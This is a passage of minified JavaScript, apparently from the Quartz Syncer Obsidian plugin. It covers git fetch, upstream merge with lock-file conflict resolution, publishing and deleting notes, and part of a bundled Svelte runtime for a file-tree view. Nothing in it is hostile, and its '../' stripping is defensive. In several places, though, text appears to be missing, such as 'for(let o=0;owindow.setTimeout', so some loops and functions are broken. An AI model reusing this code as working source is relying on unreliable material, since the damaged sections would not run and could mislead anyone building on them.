le.default.readCommit({...this.getGitConfig(),oid:e});return{sha:e,commit:{tree:{sha:n.tree}}}}catch(e){ot.error("Could not get latest commit",e);return}}async hasCommitInHistory(e,n=100){try{return await this.ensureRepoInitialized(),await le.default.fetch({...this.getGitConfig(),url:this.remoteUrl,ref:this.branch,singleBranch:!0,depth:n}),(await le.default.log({...this.getGitConfig(),ref:`origin/${this.branch}`,depth:n})).some(i=>i.oid===e)}catch{return!1}}async upgradeFromUpstream(e,n){await this.ensureRepoInitialized(),await le.default.fetch({...this.getGitConfig(),url:this.remoteUrl,ref:this.branch,singleBranch:!0});let r=await le.default.resolveRef({...this.getGitConfig(),ref:`origin/${this.branch}`});await le.default.checkout({...this.getGitConfig(),ref:r,force:!0}),await le.default.branch({...this.getGitConfig(),ref:this.branch,object:r,force:!0}),await le.default.checkout({...this.getGitConfig(),ref:this.branch});let i="upstream";(await le.default.listRemotes({...this.getGitConfig()})).some(f=>f.remote===i)&&await le.default.deleteRemote({...this.getGitConfig(),remote:i}),await le.default.addRemote({...this.getGitConfig(),remote:i,url:e}),await le.default.fetch({...this.getGitConfig(),url:e,remote:i,ref:n,singleBranch:!0});let o=`remotes/${i}/${n}`,a="quartz.lock.json",l={name:"Quartz Syncer",email:"268450573+quartz-syncer-publisher[bot]@users.noreply.github.com"},c=null;try{let{blob:f}=await le.default.readBlob({...this.getGitConfig(),oid:r,filepath:a});c=f}catch{ot.debug("No quartz.lock.json found, skipping backup")}let u;try{u=await le.default.merge({...this.getGitConfig(),ours:this.branch,theirs:o,abortOnConflict:!0,author:l})}catch(f){let h=this.extractConflictFiles(f);if(!h)throw f;if(h.filter(b=>b!==a).length>0)throw new Error(`Merge conflicts in: ${h.join(", ")}`);if(!c)throw new Error(`Merge conflicts in: ${h.join(", ")}`);ot.info("Only quartz.lock.json conflicts, auto-resolving");try{await le.default.merge({...this.getGitConfig(),ours:this.branch,theirs:o,abortOnConflict:!1,author:l})}catch(b){let S=this.extractConflictFiles(b);if(!S)throw b;if(S.filter(k=>k!==a).length>0)throw new Error(`Merge conflicts in: ${S.join(", ")}`)}let p=`${this.dir}/${a}`;await this.getFs().promises.writeFile(p,c),await le.default.add({...this.getGitConfig(),filepath:a});let g=await le.default.resolveRef({...this.getGitConfig(),ref:this.branch}),y=await le.default.resolveRef({...this.getGitConfig(),ref:o});u={oid:await le.default.commit({...this.getGitConfig(),message:`Merge upstream/${n} (auto-resolved quartz.lock.json)`,author:l,parent:[g,y]}),alreadyMerged:!1}}return u.alreadyMerged?{oid:u.oid??r,alreadyMerged:!0}:(await le.default.checkout({...this.getGitConfig(),ref:this.branch}),await this.pushWithRetry(),{oid:u.oid,alreadyMerged:!1})}extractConflictFiles(e){return e&&typeof e=="object"&&"data"in e&&e.data&&typeof e.data=="object"&&"filepaths"in e.data&&Array.isArray(e.data.filepaths)?e.data.filepaths:null}async deleteFiles(e,n){if(e.length!==0)try{await this.ensureRepoInitialized(),await le.default.fetch({...this.getGitConfig(),url:this.remoteUrl,ref:this.branch,singleBranch:!0});let r=o=>{let a;do a=o,o=o.replace(/\.\.\//g,"");while(o!==a);return o=this.getVaultPath(o),o.startsWith("/")?`${this.contentFolder}${o}`:`${this.contentFolder}/${o}`},i=await le.default.resolveRef({...this.getGitConfig(),ref:`origin/${this.branch}`});await le.default.checkout({...this.getGitConfig(),ref:i,force:!0}),await le.default.branch({...this.getGitConfig(),ref:this.branch,object:i,force:!0}),await le.default.checkout({...this.getGitConfig(),ref:this.branch});let s={};for(let o=0;owindow.setTimeout(c,0))}await le.default.commit({...this.getGitConfig(),message:`Deleted ${e.length} file${e.length===1?"":"s"}`,author:{name:"Quartz Syncer",email:"268450573+quartz-syncer-publisher[bot]@users.noreply.github.com"},cache:s}),await this.pushWithRetry()}catch(r){throw ot.error("Failed to delete files",r),r}}async updateFiles(e,n,r,i){let s=e.length>0,o=n&&n.size>0,a=r&&r.length>0;if(!(!s&&!o&&!a))try{await this.ensureRepoInitialized(),await le.default.fetch({...this.getGitConfig(),url:this.remoteUrl,ref:this.branch,singleBranch:!0});let l=await le.default.resolveRef({...this.getGitConfig(),ref:`origin/${this.branch}`});await le.default.checkout({...this.getGitConfig(),ref:l,force:!0}),await le.default.branch({...this.getGitConfig(),ref:this.branch,object:l,force:!0}),await le.default.checkout({...this.getGitConfig(),ref:this.branch});let c=g=>{let y;do y=g,g=g.replace(/\.\.\//g,"");while(g!==y);return g=this.getVaultPath(g),g.startsWith("/")?`${this.contentFolder}${g}`:`${this.contentFolder}/${g}`},u=async g=>{let y=g.split("/");y.pop();let w=this.dir;for(let b of y)if(b){w=`${w}/${b}`;try{await this.getFs().promises.mkdir(w)}catch{ot.debug(`Directory ${w} already exists`)}}},f={},h=[],d=e.length,p=0;for(let g of e){let[y,w]=g.compiledFile,b=c(g.getPath()),S=`${this.dir}/${b}`;await u(b),await this.getFs().promises.writeFile(S,y),h.push(b);for(let D of w.blobs){let k=c(D.path),E=`${this.dir}/${k}`;await u(k);let v=Uint8Array.from(atob(D.content),_=>_.charCodeAt(0));await this.getFs().promises.writeFile(E,v),h.push(k)}p++,i&&await i(p,d),(d<=100||p%50===0)&&await new Promise(D=>window.requestAnimationFrame(D))}h.length>0&&await le.default.add({...this.getGitConfig(),filepath:h,cache:f}),n&&n.size>0&&await this.stageRawFiles(n,f),r&&r.length>0&&await this.stageRawFileDeletions(r,f),await le.default.commit({...this.getGitConfig(),message:`Published ${e.length} file${e.length===1?"":"s"}`,author:{name:"Quartz Syncer",email:"268450573+quartz-syncer-publisher[bot]@users.noreply.github.com"},cache:f}),await this.pushWithRetry()}catch(l){throw ot.error("Failed to update files",l),l}}async stageRawFiles(e,n={}){if(e.size===0)return;let r=async s=>{let o=s.split("/");o.pop();let a=this.dir;for(let l of o)if(l){a=`${a}/${l}`;try{await this.getFs().promises.mkdir(a)}catch{ot.debug(`Directory ${a} already exists`)}}},i=[];for(let[s,o]of e){let a=`${this.dir}/${s}`;await r(s),await this.getFs().promises.writeFile(a,o),i.push(s)}i.length>0&&await le.default.add({...this.getGitConfig(),filepath:i,cache:n})}async stageRawFileDeletions(e,n={}){if(e.length!==0)for(let r of e){let i=`${this.dir}/${r}`;try{await this.getFs().promises.unlink(i),await le.default.remove({...this.getGitConfig(),filepath:r,cache:n})}catch(s){ot.debug(`Could not delete file ${r}`,s)}}}async writeRawFiles(e,n="Updated integration styles"){if(e.size!==0)try{await this.ensureRepoInitialized(),await le.default.fetch({...this.getGitConfig(),url:this.remoteUrl,ref:this.branch,singleBranch:!0});let r=await le.default.resolveRef({...this.getGitConfig(),ref:`origin/${this.branch}`});await le.default.checkout({...this.getGitConfig(),ref:r,force:!0}),await le.default.branch({...this.getGitConfig(),ref:this.branch,object:r,force:!0}),await le.default.checkout({...this.getGitConfig(),ref:this.branch}),await this.stageRawFiles(e),await le.default.commit({...this.getGitConfig(),message:n,author:{name:"Quartz Syncer",email:"268450573+quartz-syncer-publisher[bot]@users.noreply.github.com"}}),await this.pushWithRetry()}catch(r){throw ot.error("Failed to write raw files",r),r}}async testConnection(){try{return await le.default.getRemoteInfo({http:ch,url:this.remoteUrl,corsProxy:this.corsProxyUrl,onAuth:this.getOnAuth()}),!0}catch(e){return ot.error("Connection test failed",e),!1}}async clearLocalCache(){let e=this.getFsName();try{typeof indexedDB<"u"&&indexedDB.deleteDatabase(e),this.fs=null,this.initialized=!1,ot.info("Local git cache cleared")}catch(n){ot.error("Failed to clear local cache",n)}}static getOnAuth(e){if(e.type!=="none")return e.type==="bearer"?()=>({username:"x-access-token",password:e.secret||""}):()=>({username:e.username||"",password:e.secret||""})}static async fetchRemoteHeadCommit(e,n,r,i){try{let s=r?`refs/heads/${r}`:"HEAD",o=await le.default.listServerRefs({http:ch,url:e,corsProxy:i,onAuth:this.getOnAuth(n),prefix:s,symrefs:!0});return r?o.find(c=>c.ref===`refs/heads/${r}`)?.oid??null:o.find(l=>l.ref==="HEAD")?.oid??null}catch(s){return ot.debug("Failed to fetch remote HEAD commit",s),null}}static async fetchRemoteBranches(e,n,r){try{let i=await le.default.listServerRefs({http:ch,url:e,corsProxy:r,onAuth:this.getOnAuth(n),prefix:"refs/heads/",symrefs:!0}),s=i.filter(l=>l.ref.startsWith("refs/heads/")).map(l=>l.ref.replace("refs/heads/","")),o=null,a=i.find(l=>l.ref==="HEAD");return a?.target&&(o=a.target.replace("refs/heads/","")),{branches:s,defaultBranch:o}}catch(i){return ot.error("Failed to fetch remote branches",i),{branches:[],defaultBranch:null}}}static async checkWriteAccess(e,n,r){try{return await le.default.listServerRefs({http:ch,url:e,corsProxy:r,onAuth:this.getOnAuth(n),forPush:!0,prefix:"refs/heads/"}),!0}catch{return!1}}};var EN=it(vt()),cr=class{app;plugin;vault;metadataCache;compiler;settings;vaultPath;datastore;extendedCache;constructor(e,n,r,i,s,o,a){this.app=e,this.plugin=n,this.vault=r,this.metadataCache=i,this.settings=s,this.vaultPath=s.vaultPath,this.datastore=o,this.extendedCache=a,this.compiler=new xm(e,r,s,i,o)}shouldPublish(e){if(e.extension==="base")return this.settings.useBases;if(e.extension==="canvas")return this.settings.useCanvas;if(e.path.endsWith(".excalidraw")||e.path.endsWith(".excalidraw.md"))return this.settings.useExcalidraw;let n=this.metadataCache.getCache(e.path)?.frontmatter;return tl(this.settings.publishFrontmatterKey,n,this.settings.allNotesPublishableByDefault)}async getFilesMarkedForPublishing(){let e=this.settings.vaultPath==="/",n;if(this.settings.allNotesPublishableByDefault)n=new Set(this.vault.getMarkdownFiles().filter(f=>e||f.path.startsWith(this.settings.vaultPath)).map(f=>f.path));else if(this.extendedCache.isReady){let f=this.extendedCache.api.getFilesWithFrontmatterKey(this.settings.publishFrontmatterKey);n=new Set;for(let h of f)this.metadataCache.getCache(h)?.frontmatter?.[this.settings.publishFrontmatterKey]&&n.add(h)}else n=new Set(this.vault.getMarkdownFiles().filter(f=>{if(!e&&!f.path.startsWith(this.settings.vaultPath))return!1;let h=this.metadataCache.getCache(f.path)?.frontmatter;return tl(this.settings.publishFrontmatterKey,h,!1)}).map(f=>f.path));let r=e?n:new Set([...n].filter(f=>f.startsWith(this.settings.vaultPath))),i=this.settings.useBases?this.vault.getFiles().filter(f=>f.extension==="base"&&(e||f.path.startsWith(this.settings.vaultPath))):[],s=this.settings.useCanvas?this.vault.getFiles().filter(f=>f.extension==="canvas"&&(e||f.path.startsWith(this.settings.vaultPath))):[],o=this.settings.useExcalidraw?this.vault.getMarkdownFiles().filter(f=>(f.path.endsWith(".excalidraw")||f.path.endsWith(".excalidraw.md"))&&(e||f.path.startsWith(this.settings.vaultPath))):[];for(let f of o)r.delete(f.path);let l=[...[...r].map(f=>this.vault.getFileByPath(f)).filter(f=>f!==null),...i,...s,...o],c=[],u=new Set;for(let f of l)try{let h=new oa({file:f,compiler:this.compiler,metadataCache:this.metadataCache,vault:this.vault,settings:this.settings,datastore:this.datastore});c.push(h),(await h.getBlobLinks()).forEach(p=>u.add(p))}catch(h){EN.default.error(h)}return{notes:c.sort((f,h)=>f.compare(h)),blobs:Array.from(u)}}createConnection(){return new rt({gitSettings:this.plugin.getGitSettingsWithSecret(),contentFolder:this.settings.contentFolder,vaultPath:this.settings.vaultPath})}async deleteBatch(e,n,r){if(e.length===0)return!0;try{if(await(n??this.createConnection()).deleteFiles(e,r),this.settings.useCache)for(let s of e)await this.datastore.dropFile(s);return!0}catch(i){return console.error(i),!1}}async publishBatch(e,n,r){let i=e.filter(s=>s.file.extension==="base"?this.settings.useBases:s.file.extension==="canvas"?this.settings.useCanvas:s.file.path.endsWith(".excalidraw")||s.file.path.endsWith(".excalidraw.md")?this.settings.useExcalidraw:Tx(this.settings.publishFrontmatterKey,s.frontmatter,this.settings.allNotesPublishableByDefault));if(i.length===0)return!0;try{let s=n??this.createConnection(),a=await new Eu(this.settings).collectAssets(s);if(await s.updateFiles(i,a.filesToStage,a.filesToDelete,r),this.settings.useCache)for(let l of i){let c=await this.datastore.loadFile(l.file.path);c&&c.localData&&await this.datastore.storeRemoteFile(l.file.path,l.file.stat.mtime,c.localData)}return!0}catch(s){return console.error(s),!1}}};m();var Ia=require("obsidian");m();m();m();m();function He(){}function l1(t){return t()}function $p(){return Object.create(null)}function kn(t){t.forEach(l1)}function _a(t){return typeof t=="function"}function Ni(t,e){return t!=t?e==e:t!==e||t&&typeof t=="object"||typeof t=="function"}function _N(t){return Object.keys(t).length===0}function Dc(t){return t&&_a(t.destroy)?t.destroy:He}m();m();m();m();m();m();var c1=typeof window<"u"?window:globalThis;var Up=class t{_listeners="WeakMap"in c1?new WeakMap:void 0;_observer=void 0;options;constructor(e){this.options=e}observe(e,n){return this._listeners.set(e,n),this._getObserver().observe(e,this.options),()=>{this._listeners.delete(e),this._observer.unobserve(e)}}_getObserver(){return this._observer??(this._observer=new ResizeObserver(e=>{for(let n of e)t.entries.set(n.target,n),this._listeners.get(n.target)?.(n)}))}};Up.entries="WeakMap"in c1?new WeakMap:void 0;var CN=!1;function TN(){CN=!0}function FN(){CN=!1}function H(t,e){t.appendChild(e)}function IN(t,e,n){let r=AN(t);if(!r.getElementById(e)){let i=X("style");i.id=e,i.textContent=n,m7(r,i)}}function AN(t){if(!t)return document;let e=t.getRootNode?t.getRootNode():t.ownerDocument;return e&&e.host?e:t.ownerDocument}function m7(t,e){return H(t.head||t,e),e.sheet}function pe(t,e,n){t.insertBefore(e,n||null)}function me(t){t.parentNode&&t.parentNode.removeChild(t)}function fs(t,e){for(let n=0;nt.removeEventListener(e,n,r)}function ne(t,e,n){n==null?t.removeAttribute(e):t.getAttribute(e)!==n&&t.setAttribute(e,n)}function ON(t){return Array.from(t.childNodes)}function yt(t,e){e=""+e,t.data!==e&&(t.data=e)}function Ft(t,e,n){t.classList.toggle(e,!!n)}function jp(t,e,{bubbles:n=!1,cancelable:r=!1}={}){return new CustomEvent(t,{detail:e,bubbles:n,cancelable:r})}var Ca=class{is_svg=!1;e=void 0;n=void 0;t=void 0;a=void 0;constructor(e=!1){this.is_svg=e,this.e=this.n=null}c(e){this.h(e)}m(e,n,r=null){this.e||(this.is_svg?this.e=p7(n.nodeName):this.e=X(n.nodeType===11?"TEMPLATE":n.nodeName),this.t=n.tagName!=="TEMPLATE"?n:n.content,this.c(e)),this.i(r)}h(e){this.e.innerHTML=e,this.n=Array.from(this.e.nodeName==="TEMPLATE"?this.e.content.childNodes:this.e.childNodes)}i(e){for(let n=0;n{e[n.slot||"default"]=!0}),e}m();m();m();m();var ao;function hs(t){ao=t}function u1(){if(!ao)throw new Error("Function called outside component initialization");return ao}function f1(t){u1().$$.on_mount.push(t)}function h1(){let t=u1();return(e,n,{cancelable:r=!1}={})=>{let i=t.$$.callbacks[e];if(i){let s=jp(e,n,{cancelable:r});return i.slice().forEach(o=>{o.call(t,s)}),!s.defaultPrevented}return!0}}var Ta=[];var NN=[],_c=[],MN=[],RN=Promise.resolve(),m1=!1;function p1(){m1||(m1=!0,RN.then(qp))}function fh(){return p1(),RN}function hh(t){_c.push(t)}var d1=new Set,Ec=0;function qp(){if(Ec!==0)return;let t=ao;do{try{for(;Ect.indexOf(r)===-1?e.push(r):n.push(r)),n.forEach(r=>r()),_c=e}var Vp=new Set,Fa;function Nr(){Fa={r:0,c:[],p:Fa}}function Mr(){Fa.r||kn(Fa.c),Fa=Fa.p}function xe(t,e){t&&t.i&&(Vp.delete(t),t.i(e))}function Oe(t,e,n,r){if(t&&t.o){if(Vp.has(t))return;Vp.add(t),Fa.c.push(()=>{Vp.delete(t),r&&(n&&t.d(1),r())}),t.o(e)}else r&&r()}m();function tn(t){return t?.length!==void 0?t:Array.from(t)}m();m();m();var x7=["allowfullscreen","allowpaymentrequest","async","autofocus","autoplay","checked","controls","default","defer","disabled","formnovalidate","hidden","inert","ismap","loop","multiple","muted","nomodule","novalidate","open","playsinline","readonly","required","reversed","selected"],S7=new Set([...x7]);m();m();m();function Kt(t){t&&t.c()}function zt(t,e,n){let{fragment:r,after_update:i}=t.$$;r&&r.m(e,n),hh(()=>{let s=t.$$.on_mount.map(l1).filter(_a);t.$$.on_destroy?t.$$.on_destroy.push(...s):kn(s),t.$$.on_mount=[]}),i.forEach(hh)}function Lt(t,e){let n=t.$$;n.fragment!==null&&(zN(n.after_update),kn(n.on_destroy),n.fragment&&n.fragment.d(e),n.on_destroy=n.fragment=null,n.ctx=[])}function E7(t,e){t.$$.dirty[0]===-1&&(Ta.push(t),p1(),t.$$.dirty.fill(0)),t.$$.dirty[e/31|0]|=1<{let p=d.length?d[0]:h;return c.ctx&&i(c.ctx[f],c.ctx[f]=p)&&(!c.skip_bound&&c.bound[f]&&c.bound[f](p),u&&E7(t,f)),h}):[],c.update(),u=!0,kn(c.before_update),c.fragment=r?r(c.ctx):!1,e.target){if(e.hydrate){TN();let f=ON(e.target);c.fragment&&c.fragment.l(f),f.forEach(me)}else c.fragment&&c.fragment.c();e.intro&&xe(t.$$.fragment),zt(t,e.target,e.anchor),FN(),qp()}hs(l)}var _7;typeof HTMLElement=="function"&&(_7=class extends HTMLElement{$$ctor;$$s;$$c;$$cn=!1;$$d={};$$r=!1;$$p_d={};$$l={};$$l_u=new Map;constructor(t,e,n){super(),this.$$ctor=t,this.$$s=e,n&&this.attachShadow({mode:"open"})}addEventListener(t,e,n){if(this.$$l[t]=this.$$l[t]||[],this.$$l[t].push(e),this.$$c){let r=this.$$c.$on(t,e);this.$$l_u.set(e,r)}super.addEventListener(t,e,n)}removeEventListener(t,e,n){if(super.removeEventListener(t,e,n),this.$$c){let r=this.$$l_u.get(e);r&&(r(),this.$$l_u.delete(e))}if(this.$$l[t]){let r=this.$$l[t].indexOf(e);r>=0&&this.$$l[t].splice(r,1)}}async connectedCallback(){if(this.$$cn=!0,!this.$$c){let t=function(i){return()=>{let s;return{c:function(){s=X("slot"),i!=="default"&&ne(s,"name",i)},m:function(l,c){pe(l,s,c)},d:function(l){l&&me(s)}}}};if(await Promise.resolve(),!this.$$cn||this.$$c)return;let e={},n=PN(this);for(let i of this.$$s)i in n&&(e[i]=[t(i)]);for(let i of this.attributes){let s=this.$$g_p(i.name);s in this.$$d||(this.$$d[s]=g1(s,i.value,this.$$p_d,"toProp"))}for(let i in this.$$p_d)!(i in this.$$d)&&this[i]!==void 0&&(this.$$d[i]=this[i],delete this[i]);this.$$c=new this.$$ctor({target:this.shadowRoot||this,props:{...this.$$d,$$slots:e,$$scope:{ctx:[]}}});let r=()=>{this.$$r=!0;for(let i in this.$$p_d)if(this.$$d[i]=this.$$c.$$.ctx[this.$$c.$$.props[i]],this.$$p_d[i].reflect){let s=g1(i,this.$$d[i],this.$$p_d,"toAttribute");s==null?this.removeAttribute(this.$$p_d[i].attribute||i):this.setAttribute(this.$$p_d[i].attribute||i,s)}this.$$r=!1};this.$$c.$$.after_update.push(r),r();for(let i in this.$$l)for(let s of this.$$l[i]){let o=this.$$c.$on(i,s);this.$$l_u.set(s,o)}this.$$l={}}}attributeChangedCallback(t,e,n){this.$$r||(t=this.$$g_p(t),this.$$d[t]=g1(t,n,this.$$p_d,"toProp"),this.$$c?.$set({[t]:this.$$d[t]}))}disconnectedCallback(){this.$$cn=!1,Promise.resolve().then(()=>{!this.$$cn&&this.$$c&&(this.$$c.$destroy(),this.$$c=void 0)})}$$g_p(t){return Object.keys(this.$$p_d).find(e=>this.$$p_d[e].attribute===t||!this.$$p_d[e].attribute&&e.toLowerCase()===t)||t}});function g1(t,e,n,r){let i=n[t]?.type;if(e=i==="Boolean"&&typeof e!="boolean"?e!=null:e,!r||!n[t])return e;if(r==="toAttribute")switch(i){case"Object":case"Array":return e==null?null:JSON.stringify(e);case"Boolean":return e?"":null;case"Number":return e??null;default:return e}else switch(i){case"Object":case"Array":return e&&JSON.parse(e);case"Boolean":return e;case"Number":return e!=null?+e:e;default:return e}}var ur=class{$$=void 0;$$set=void 0;$destroy(){Lt(this,1),this.$destroy=He}$on(e,n){if(!_a(n))return He;let r=this.$$.callbacks[e]||(this.$$.callbacks[e]=[]);return r.push(n),()=>{let i=r.indexOf(n);i!==-1&&r.splice(i,1)}}$set(e){this.$$set&&!_N(e)&&(this.$$.skip_bound=!0,this.$$set(e),this.$$.skip_bound=!1)}};m();m();var LN="4";m();typeof window<"u"&&(window.__svelte||(window.__svelte={v:new Set})).v.add(LN);var mh=require("obsidian");m();m();var y1=require("obsidian");function C7(t){let e,n=(0,y1.getIcon)(t[0])?.outerHTML+"",r;return{c(){e=new Ca(!1),r=oo(),e.a=r},m(i,s){e.m(n,i,s),pe(i,r,s)},p(i,[s]){s&1&&n!==(n=(0,y1.getIcon)(i[0])?.outerHTML+"")&&e.p(n)},i:He,o:He,d(i){i&&(me(r),e.d())}}}function T7(t,e,n){let{name:r="book-heart"}=e;return t.$$set=i=>{"name"in i&&n(0,r=i.name)},[r]}var w1=class extends ur{constructor(e){super(),Mi(this,e,T7,C7,Ni,{name:0})}},oi=w1;m();m();function BN(t,e,n){let r=t.slice();return r[13]=e[n],r}function F7(t){let e,n,r,i,s,o,a,l=t[0].name+"",c,u,f,h,d,p,g;i=new oi({props:{name:"file"}});let y=!t[1]&&$N(t),w=t[0].fileType==="base"&&UN(t),b=t[0].fileType==="canvas"&&jN(t),S=t[2]&&qN(t);return{c(){e=X("span"),n=X("span"),r=we(),Kt(i.$$.fragment),s=we(),y&&y.c(),o=we(),a=X("span"),c=et(l),u=we(),w&&w.c(),f=we(),b&&b.c(),h=we(),S&&S.c(),ne(n,"class","no-arrow")},m(D,k){pe(D,e,k),H(e,n),H(e,r),zt(i,e,null),H(e,s),y&&y.m(e,null),H(e,o),H(e,a),H(a,c),H(e,u),w&&w.m(e,null),H(e,f),b&&b.m(e,null),H(e,h),S&&S.m(e,null),d=!0,p||(g=un(a,"click",t[6]),p=!0)},p(D,k){D[1]?y&&(y.d(1),y=null):y?y.p(D,k):(y=$N(D),y.c(),y.m(e,o)),(!d||k&1)&&l!==(l=D[0].name+"")&&yt(c,l),D[0].fileType==="base"?w||(w=UN(D),w.c(),w.m(e,f)):w&&(w.d(1),w=null),D[0].fileType==="canvas"?b||(b=jN(D),b.c(),b.m(e,h)):b&&(b.d(1),b=null),D[2]?S?(S.p(D,k),k&4&&xe(S,1)):(S=qN(D),S.c(),xe(S,1),S.m(e,null)):S&&(Nr(),Oe(S,1,1,()=>{S=null}),Mr())},i(D){d||(xe(i.$$.fragment,D),xe(S),d=!0)},o(D){Oe(i.$$.fragment,D),Oe(S),d=!1},d(D){D&&me(e),Lt(i),y&&y.d(),w&&w.d(),b&&b.d(),S&&S.d(),p=!1,g()}}}function I7(t){let e,n,r,i,s,o,a,l,c,u,f;r=new oi({props:{name:"chevron-right"}});let h=[O7,A7],d=[];function p(y,w){return y[5]?1:0}s=p(t,-1),o=d[s]=h[s](t);let g=t[3]&&WN(t);return{c(){e=X("span"),n=X("span"),Kt(r.$$.fragment),i=we(),o.c(),a=we(),g&&g.c(),l=oo(),ne(n,"class","arrow"),Ft(n,"arrowDown",t[4])},m(y,w){pe(y,e,w),H(e,n),zt(r,n,null),H(e,i),d[s].m(e,null),pe(y,a,w),g&&g.m(y,w),pe(y,l,w),c=!0,u||(f=un(n,"click",t[6]),u=!0)},p(y,w){(!c||w&16)&&Ft(n,"arrowDown",y[4]),o.p(y,w),y[3]?g?(g.p(y,w),w&8&&xe(g,1)):(g=WN(y),g.c(),xe(g,1),g.m(l.parentNode,l)):g&&(Nr(),Oe(g,1,1,()=>{g=null}),Mr())},i(y){c||(xe(r.$$.fragment,y),xe(o),xe(g),c=!0)},o(y){Oe(r.$$.fragment,y),Oe(o),Oe(g),c=!1},d(y){y&&(me(e),me(a),me(l)),Lt(r),d[s].d(),g&&g.d(y),u=!1,f()}}}function $N(t){let e,n,r,i,s,o;return{c(){e=X("input"),ne(e,"type","checkbox"),ne(e,"data-label",n=t[0].name),e.checked=r=t[0].checked,e.indeterminate=i=t[0].indeterminate},m(a,l){pe(a,e,l),s||(o=un(e,"click",t[7]),s=!0)},p(a,l){l&1&&n!==(n=a[0].name)&&ne(e,"data-label",n),l&1&&r!==(r=a[0].checked)&&(e.checked=r),l&1&&i!==(i=a[0].indeterminate)&&(e.indeterminate=i)},d(a){a&&me(e),s=!1,o()}}}function UN(t){let e;return{c(){e=X("span"),e.textContent="BASE",ne(e,"class","quartz-syncer-file-badge quartz-syncer-badge-base")},m(n,r){pe(n,e,r)},d(n){n&&me(e)}}}function jN(t){let e;return{c(){e=X("span"),e.textContent="CANVAS",ne(e,"class","quartz-syncer-file-badge quartz-syncer-badge-canvas")},m(n,r){pe(n,e,r)},d(n){n&&me(e)}}}function qN(t){let e,n,r,i,s;return n=new oi({props:{name:"file-diff"}}),{c(){e=X("span"),Kt(n.$$.fragment),ne(e,"title","Show changes"),ne(e,"class","quartz-syncer-icon-diff")},m(o,a){pe(o,e,a),zt(n,e,null),r=!0,i||(s=un(e,"click",t[9]),i=!0)},p:He,i(o){r||(xe(n.$$.fragment,o),r=!0)},o(o){Oe(n.$$.fragment,o),r=!1},d(o){o&&me(e),Lt(n),i=!1,s()}}}function A7(t){let e,n,r=t[0].name+"",i,s,o,a=!t[1]&&VN(t);return{c(){a&&a.c(),e=we(),n=X("span"),i=et(r),ne(n,"class","root-header")},m(l,c){a&&a.m(l,c),pe(l,e,c),pe(l,n,c),H(n,i),s||(o=un(n,"click",t[6]),s=!0)},p(l,c){l[1]?a&&(a.d(1),a=null):a?a.p(l,c):(a=VN(l),a.c(),a.m(e.parentNode,e)),c&1&&r!==(r=l[0].name+"")&&yt(i,r)},i:He,o:He,d(l){l&&(me(e),me(n)),a&&a.d(l),s=!1,o()}}}function O7(t){let e,n,r,i,s=t[0].name+"",o,a,l,c;e=new oi({props:{name:"folder"}});let u=!t[1]&&HN(t);return{c(){Kt(e.$$.fragment),n=we(),u&&u.c(),r=we(),i=X("span"),o=et(s)},m(f,h){zt(e,f,h),pe(f,n,h),u&&u.m(f,h),pe(f,r,h),pe(f,i,h),H(i,o),a=!0,l||(c=un(i,"click",t[6]),l=!0)},p(f,h){f[1]?u&&(u.d(1),u=null):u?u.p(f,h):(u=HN(f),u.c(),u.m(r.parentNode,r)),(!a||h&1)&&s!==(s=f[0].name+"")&&yt(o,s)},i(f){a||(xe(e.$$.fragment,f),a=!0)},o(f){Oe(e.$$.fragment,f),a=!1},d(f){f&&(me(n),me(r),me(i)),Lt(e,f),u&&u.d(f),l=!1,c()}}}function VN(t){let e,n,r,i,s,o;return{c(){e=X("input"),ne(e,"type","checkbox"),ne(e,"data-label",n=t[0].name),e.checked=r=t[0].checked,e.indeterminate=i=t[0].indeterminate},m(a,l){pe(a,e,l),s||(o=un(e,"click",t[7]),s=!0)},p(a,l){l&1&&n!==(n=a[0].name)&&ne(e,"data-label",n),l&1&&r!==(r=a[0].checked)&&(e.checked=r),l&1&&i!==(i=a[0].indeterminate)&&(e.indeterminate=i)},d(a){a&&me(e),s=!1,o()}}}function HN(t){let e,n,r,i,s,o;return{c(){e=X("input"),ne(e,"type","checkbox"),ne(e,"data-label",n=t[0].name),e.checked=r=t[0].checked,e.indeterminate=i=t[0].indeterminate},m(a,l){pe(a,e,l),s||(o=un(e,"click",t[7]),s=!0)},p(a,l){l&1&&n!==(n=a[0].name)&&ne(e,"data-label",n),l&1&&r!==(r=a[0].checked)&&(e.checked=r),l&1&&i!==(i=a[0].indeterminate)&&(e.indeterminate=i)},d(a){a&&me(e),s=!1,o()}}}function WN(t){let e,n,r=tn(t[0].children),i=[];for(let o=0;oOe(i[o],1,1,()=>{i[o]=null});return{c(){for(let o=0;o{a[f]=null}),Mr()),~r?(i=a[r],i?i.p(c,u):(i=a[r]=o[r](c),i.c()),xe(i,1),i.m(n,null)):i=null)},i(c){s||(xe(i),s=!0)},o(c){Oe(i),s=!1},d(c){c&&me(e),~r&&a[r].d()}}}var QN={};function N7(t,e,n){let r,{tree:i}=e,{readOnly:s=!1}=e,{enableShowDiff:o=!1}=e,a=h1(),{isRoot:l}=i,c=QN[i.path]||!1,u=()=>{n(3,c=QN[i.path]=!c)},f=()=>{n(0,i.checked=!i.checked,i),a("toggle",{node:i})},h=y=>{a("toggle",{node:y.detail.node})},d=y=>{y.stopPropagation(),a("showDiff",{node:i})},p=y=>{a("showDiff",{node:y})},g=y=>p(y.detail.node);return t.$$set=y=>{"tree"in y&&n(0,i=y.tree),"readOnly"in y&&n(1,s=y.readOnly),"enableShowDiff"in y&&n(2,o=y.enableShowDiff)},t.$$.update=()=>{t.$$.dirty&8&&n(4,r=c)},[i,s,o,c,r,l,u,f,h,d,p,g]}var Hp=class extends ur{constructor(e){super(),Mi(this,e,N7,P7,Ni,{tree:0,readOnly:1,enableShowDiff:2})}},KN=Hp;function M7(t){let e,n,r;return n=new KN({props:{tree:t[0],readOnly:t[1],enableShowDiff:t[2]}}),n.$on("toggle",t[4]),n.$on("showDiff",t[5]),{c(){e=X("div"),Kt(n.$$.fragment)},m(i,s){pe(i,e,s),zt(n,e,null),r=!0},p(i,[s]){let o={};s&1&&(o.tree=i[0]),s&2&&(o.readOnly=i[1]),s&4&&(o.enableShowDiff=i[2]),n.$set(o)},i(i){r||(xe(n.$$.fragment,i),r=!0)},o(i){Oe(n.$$.fragment,i),r=!1},d(i){i&&me(e),Lt(n)}}}function ZN(t,e=!0){if(t.children){for(let n of t.children)e&&(n.checked=!!t.checked),ZN(n,e);t.indeterminate=t.children.some(n=>n.indeterminate)||t.children.some(n=>!!n.checked)&&t.children.some(n=>!n.checked)}}function R7(t,e,n){let{tree:r}=e,{readOnly:i=!1}=e,{enableShowDiff:s=!1}=e,{showDiff:o}=e,a={};function l(f){if(f.children)for(let h of f.children)a[h.path]=f,l(h)}l(r);function 